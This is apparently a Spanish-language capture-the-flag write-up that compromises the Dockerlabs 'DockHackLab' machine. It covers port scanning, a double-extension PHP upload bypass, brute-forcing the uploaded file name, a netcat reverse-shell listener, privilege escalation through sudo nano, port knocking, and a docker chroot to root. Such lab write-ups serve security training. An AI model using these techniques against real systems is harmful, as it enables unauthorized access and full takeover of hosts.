DockHackLab es una de las maquinas existentes actualmente en la plataforma de hacking Dockerlabs y es de dificultad Medio.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Empezaremos con el escaneo de puertos una vez tenemos la maquina a vulnerar levantada , la ip por defecto será la 172.17.0.2.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
└─$ sudo nmap -sS -p- --open --min-rate 5000 -vvv -n 172.17.0.2 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-17 16:45 CEST Initiating ARP Ping Scan at 16:45 Scanning 172.17.0.2 [1 port] Completed ARP Ping Scan at 16:45, 0.06s elapsed (1 total hosts) Initiating SYN Stealth Scan at 16:45 Scanning 172.17.0.2 [65535 ports] Discovered open port 80/tcp on 172.17.0.2 Discovered open port 22/tcp on 172.17.0.2 Completed SYN Stealth Scan at 16:45, 26.37s elapsed (65535 total ports) Nmap scan report for 172.17.0.2 Host is up, received arp-response (0.00015s latency). Scanned at 2024-07-17 16:45:22 CEST for 27s Not shown: 65533 filtered tcp ports (no-response) Some closed ports may be reported as filtered due to --defeat-rst-ratelimit PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 64 80/tcp open http syn-ack ttl 64 MAC Address: 02:42:AC:11:00:02 (Unknown) Read data files from: /usr/bin/../share/nmap Nmap done: 1 IP address (1 host up) scanned in 26.58 seconds Raw packets sent: 131090 (5.768MB) | Rcvd: 30 (1.394KB) |
Una vez tenemos los puertos abiertos, ejecutaremos con nmap con el parámetro -sCV para que le pase los scripts por defecto y conseguir mas información de cada uno de ellos.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
┌──(kali㉿kali)-[~] └─$ sudo nmap -sCV -p22,80 172.17.0.2 [sudo] password for kali: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-17 16:45 CEST Nmap scan report for trackedvuln.dl (172.17.0.2) Host is up (0.000048s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 9a:a2:73:65:c5:4f:dd:36:57:7c:53:f6:98:82:96:04 (ECDSA) |_ 256 c5:f4:bf:93:53:a3:8b:78:0c:8a:b2:fa:30:5b:b3:1b (ED25519) 80/tcp open http Apache httpd 2.4.58 ((Ubuntu)) |_http-server-header: Apache/2.4.58 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works MAC Address: 02:42:AC:11:00:02 (Unknown) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.81 seconds |
Revisamos el puerto 80 utilizando feroxbuster
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
┌──(kali㉿kali)-[~] └─$ feroxbuster --url http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php --no-recursion ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.10.3 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://172.17.0.2 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.10.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🚫 Do Not Recurse │ true 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 272c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 22l 105w 5952c http://172.17.0.2/icons/ubuntu-logo.png 200 GET 363l 961w 10671c http://172.17.0.2/ 301 GET 9l 28w 312c http://172.17.0.2/hackademy => http://172.17.0.2/hackademy/ [###>----------------] - 11s 38826/220552 44s found:3 errors:0 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_172_17_0_2-1721222800.state ... [###>----------------] - 11s 38870/220552 44s found:3 errors:0 [#>------------------] - 11s 19411/220546 1765/s http://172.17.0.2/ |
Nos encontramos con el recurso hackademy, accedemos

Solo nos deja subir jpg/jpeg/png, así que usamos burpsuite para ver como es la petición y modificarla para subir posiblemente una reverse shell. Tras diferentes pruebas, vemos que podemos subir un php poniéndolo como doble extensión

Atendiendo a la respuesta que nos ha devuelto cuando hemos podido subir el fichero, nos indica que tiene el patrón xxx_tuarchivo, así que tras crear un diccionario con crunch, enviaremos peticiones hasta que encontremos como se llama
|
1 2 3 4 5 6 7 |
┌──(kali㉿kali)-[~] └─$ crunch 3 3 abcdefghijklmnopqrstuvwxyz -o output.txt ┌──(kali㉿kali)-[~] └─$ for i in $(cat posibles); do curl -s -o /dev/null -w %{HTTP_CODE} http://172.17.0.2/hackademy/$i\_lol3.png.php;echo -e " Ruta encontrada - ${i}_lol3.png.php $code";done | grep 404 -v 200 Ruta encontrada - klp_lol3.png.php |
Accederemos al recurso y nos enviará una shell
|
1 2 3 4 5 6 7 8 9 10 |
┌──(kali㉿kali)-[~] └─$ nc -nvlp 1234 listening on [any] 1234 ... connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 59548 Linux 05d2671b0a81 6.6.15-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17) x86_64 x86_64 x86_64 GNU/Linux 00:08:54 up 48 min, 0 user, load average: 0.70, 0.86, 1.22 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $ |
Vemos si tenemos privilegios con sudo -l hacia algún binario como algún usuario
|
1 2 3 4 5 6 7 8 |
www-data@05d2671b0a81:/$ sudo -l Matching Defaults entries for www-data on 05d2671b0a81: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User www-data may run the following commands on 05d2671b0a81: (firsthacking) NOPASSWD: /usr/bin/nano |
Vemos que en gtfobins tenemos una entrada sobre como escalar al usuario firsthacking
|
1 2 3 4 5 6 7 8 |
www-data@05d2671b0a81:/$ sudo -u firsthacking /usr/bin/nano ^R^X reset; sh 1>&0 2>&0 bash firsthacking@05d2671b0a81:~$ |
Como el usuario firshacking, volemos a usar sudo -l para encontrarnos con otro binario y posiblemente poder escalar a root
|
1 2 3 4 5 6 7 8 |
firsthacking@05d2671b0a81:~$ sudo -l Matching Defaults entries for firsthacking on 05d2671b0a81: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User firsthacking may run the following commands on 05d2671b0a81: (ALL) NOPASSWD: /usr/bin/docker |
Pero al usar el binario docker, nos dice que servicio esta parado, por lo tanto miraremos que ficheros tenemos en el home para buscar una pista
|
1 2 3 4 5 6 7 8 9 10 |
firsthacking@05d2671b0a81:~$ ls -ltra total 44 -rw-r--r-- 1 firsthacking firsthacking 807 Jul 13 08:57 .profile -rw-r--r-- 1 firsthacking firsthacking 220 Jul 13 08:57 .bash_logout drwxr-xr-x 1 root root 4096 Jul 13 08:57 .. drwx------ 2 firsthacking firsthacking 4096 Jul 13 09:52 .cache -rw-r--r-- 1 firsthacking firsthacking 3941 Jul 15 03:50 .bashrc drwxrwxr-x 1 firsthacking firsthacking 4096 Jul 15 03:51 .local -rw-rw-r-- 1 firsthacking firsthacking 40 Jul 15 03:53 .docker drwxr-x--- 1 firsthacking firsthacking 4096 Jul 15 03:53 . |
Leemos cual es el contenido del fichero .docker
|
1 2 |
firsthacking@05d2671b0a81:~$ cat .docker que utiles son las funciones del bashrc |
Le hacemos caso y leemos el bashrc
|
1 2 3 4 5 6 7 8 9 10 11 |
firsthacking@05d2671b0a81:~$ tail .bashrc . /usr/share/bash-completion/bash_completion elif [ -f /etc/bash_completion ]; then . /etc/bash_completion fi fi function docker() { echo "Fijate que hay algo esperando a que llames" echo -e "\n 12345 54321 24680 13579 \n" echo -e "De nada servira si no llamas antes" } |
Viendo la función, parece que se esta usando port knocking , asi que desde el kali lanzamos un hit a cada puerto
|
1 2 3 4 5 6 |
┌──(kali㉿kali)-[~] └─$ knock -v 172.17.0.2 12345 54321 24680 13579 -d 1 hitting tcp 172.17.0.2:12345 hitting tcp 172.17.0.2:54321 hitting tcp 172.17.0.2:24680 hitting tcp 172.17.0.2:13579 |
Tras esto, vemos que el servicio esta levantado y siguiendo la entrada de docker , utilizamos lo siguiente
|
1 2 3 |
firsthacking@05d2671b0a81:/tmp$ sudo /usr/bin/docker run -v /:/mnt --rm -it alpine chroot /mnt sh # whoami root |





